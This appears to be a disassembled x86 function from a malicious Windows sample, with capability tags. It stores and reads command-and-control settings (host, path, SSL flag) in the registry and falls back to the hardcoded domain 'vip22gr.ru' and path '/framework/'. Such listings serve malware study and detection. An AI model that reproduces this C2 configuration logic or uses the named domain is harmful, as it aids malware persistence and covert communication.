Function at 0x10006800
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x118
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
mov esi, dword [esp + 0x124]
push edi
test esi, esi
je 0x1000683e
mov eax, dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
test eax, eax
je 0x1000682f
push eax
push 0
call ebp
push eax
call edi
mov eax, dword [esi + 0xc]
test eax, eax
je 0x1000683e
push eax
push 0
call ebp
push eax
call edi
cmp dword [esp + 0x12c], 0
jne 0x10006a82
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test esi, esi
jne 0x10006863
push str.Time
push dword [0x1000d0cc]
call edi
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x105
push eax
lea eax, [esp + 0x20]
mov dword [esp + 0x14], 1
push eax
lea eax, [esp + 0x18]
mov ecx, str.HostC
push eax
test esi, esi
mov eax, str.HostN
push 0
cmovne eax, ecx
push eax
push dword [0x1000d0cc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x100068c2
push str.vip22gr.ru
lea eax, [esp + 0x20]
push 0x100096a4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [esp + 0xc], eax
jmp 0x100068c6
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test esi, esi
je 0x100068fe
inc eax
push eax
push 8
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [esp + 0x10]
lea ecx, [esp + 0x24]
mov dword [esi + 4], eax
push ecx
push eax
call sub.NTDLL.dll_RtlMoveMemory
mov eax, dword [esp + 0x10]
mov dword [esi], eax
mov eax, dword [esi + 4]
mov dword [esi + 8], eax
jmp 0x1000692e
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
lea eax, [esp + 0x24]
push eax
push 1
push 0
push str.HostC
push dword [0x1000d0cc]
call ebx
push str.HostN
push dword [0x1000d0cc]
call edi
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x105
push eax
lea eax, [esp + 0x24]
mov dword [esp + 0x18], 1
push eax
lea eax, [esp + 0x1c]
mov ecx, str.PathC
push eax
test esi, esi
mov eax, str.PathN
push 0
cmovne eax, ecx
push eax
push dword [0x1000d0cc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x1000698d
push str._framework_
lea eax, [esp + 0x24]
push 0x100096a4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [esp + 0x10], eax
jmp 0x10006991
mov eax, dword [esp + 0x10]
inc eax
push eax
test esi, esi
je 0x100069b6
push 8
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [esp + 0x10]
lea ecx, [esp + 0x24]
mov dword [esi + 0xc], eax
push ecx
push eax
call sub.NTDLL.dll_RtlMoveMemory
jmp 0x100069d9
lea eax, [esp + 0x24]
push eax
push 1
push 0
push str.PathC
push dword [0x1000d0cc]
call ebx
push str.PathN
push dword [0x1000d0cc]
call edi
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 4
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x18], 4
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0
push eax
mov ecx, str.SSLC
test esi, esi
push 0
mov eax, str.SSLN
cmovne eax, ecx
push eax
push dword [0x1000d0cc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0x18]
xor edx, edx
test eax, eax
push 4
cmovne ecx, edx
mov dword [esp + 0x1c], ecx
test esi, esi
je 0x10006a5e
lea eax, [esp + 0x20]
mov dword [esi + 0x10], ecx
push eax
push 4
push edx
push str.Next
push dword [0x1000d0cc]
mov dword [esp + 0x34], 0xc
call ebx
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x118
ret
lea eax, [esp + 0x1c]
push eax
push 4
push 0
push str.SSLC
push dword [0x1000d0cc]
call ebx
push str.SSLN
push dword [0x1000d0cc]
call edi
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x118
ret